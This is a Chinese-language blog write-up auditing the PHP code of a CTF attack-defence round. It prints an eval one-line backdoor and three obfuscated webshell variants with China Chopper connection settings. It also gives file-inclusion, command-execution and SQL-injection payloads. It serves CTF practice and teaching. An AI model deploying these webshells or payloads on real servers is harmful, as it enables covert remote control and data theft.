Just Do IT !

CTF 河北大赛AWD简单的代码审计

字数统计: 918阅读时长: 3 min
2019/10/10 Share

今天先把去年的AWD代码审计一下,以后有时间就把今年的AWD代码审计写一下

index.php

1
2
3
4
5
<?php 
include 'header.php';
@eval($_REQUEST['aa']);
echo 'eval';
?>

首先打开index.php,一目了然,可以看到头文件有一句话木马,密码是aa

这里使用中国菜刀可以直接连上一句话木马,进入服务器

扩展

了解一句话脚本的工作原理

一句话脚本的工作原理:

一句话恶意脚本分析服务端与客户端。(此处以php脚本语言简述原理)

一句话恶意脚本服务端就是我们要用来插入到php文件中的asp语句,(不仅仅是以php为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为@eval($_REQUEST[‘aa’]); 其中aa可以自己修改

一句话恶意脚本客户端(即为中国菜刀主程序)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的php功能语句并执行.

中国菜刀的请求方式为post。

一句话脚本的变形

案例1

加密类变形

php一句话恶意脚本带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下:

1
2
3
4
5
<?php 
echo "404 Not Found!</br>"; error_reporting(0);
if(isset($_POST['com']) && md5($_POST['com']) == '791dc312b38016ef998c1c146104cd5a' && isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."
?>

在菜刀里写http://xx.xx.xx.xx/test.php

密码:page

菜刀配置填:

<O>com=settoken&content=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7</O>

案例2 变量拼接类变形

webshell的代码如下:

1
2
3
<?php 
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

在菜刀里写http://xx.xx.xx.xx/test.php

密码是:0

菜刀配置填:

<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>

案例3 加密拼接类变形

webshell的代码如下:

1
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

在菜刀里写http://xx.xx.xx.xx/test.php

连接密码:1

about.php

可以看到这里打开了 allow_url_include 并且代码中有明显的文件包含漏洞

payload为?file=/etc/passwd

具体的文件包含漏洞可以查看这篇文章

services.php

这里我们点击第三个选项服务,点击以后页面正常 这里我们去查看一下它的源码

发现有异常,这里是一个简单的命令执行漏洞

payload:?shell=ls

contact.php

查看源码:

可以发现这里也是一个文件包含漏洞,不过相比上面那个有些复杂

payload:?path=/etc/passwd

爆出passwd文件

返回主页 发现页面底端有异常

这里有简单的命令执行漏洞

注释即可

admin页面

在登陆界面

login.php

简单的sql注入

payload:admin ' #

header.php

这里是一个php命令执行漏洞

payload: ?p=cat /flag.txt

好了,代码就差不多就审计到这里了,一些简单的后门漏洞等用D盾或审计工具可以找出来,要想提高自己的话尽量花点时间,自主审计

CATALOG
  1. 1. index.php
    1. 1.1. 扩展
      1. 1.1.1. 了解一句话脚本的工作原理
        1. 1.1.1.0.1. 一句话脚本的工作原理:
    2. 1.1.2. 一句话脚本的变形
      1. 1.1.2.1. 案例1
      2. 1.1.2.2. 案例2 变量拼接类变形
      3. 1.1.2.3. 案例3 加密拼接类变形
  • 2. about.php
  • 3. services.php
  • 4. contact.php
  • 5. footer.php
  • 6. admin页面
    1. 6.1. login.php
  • 7. header.php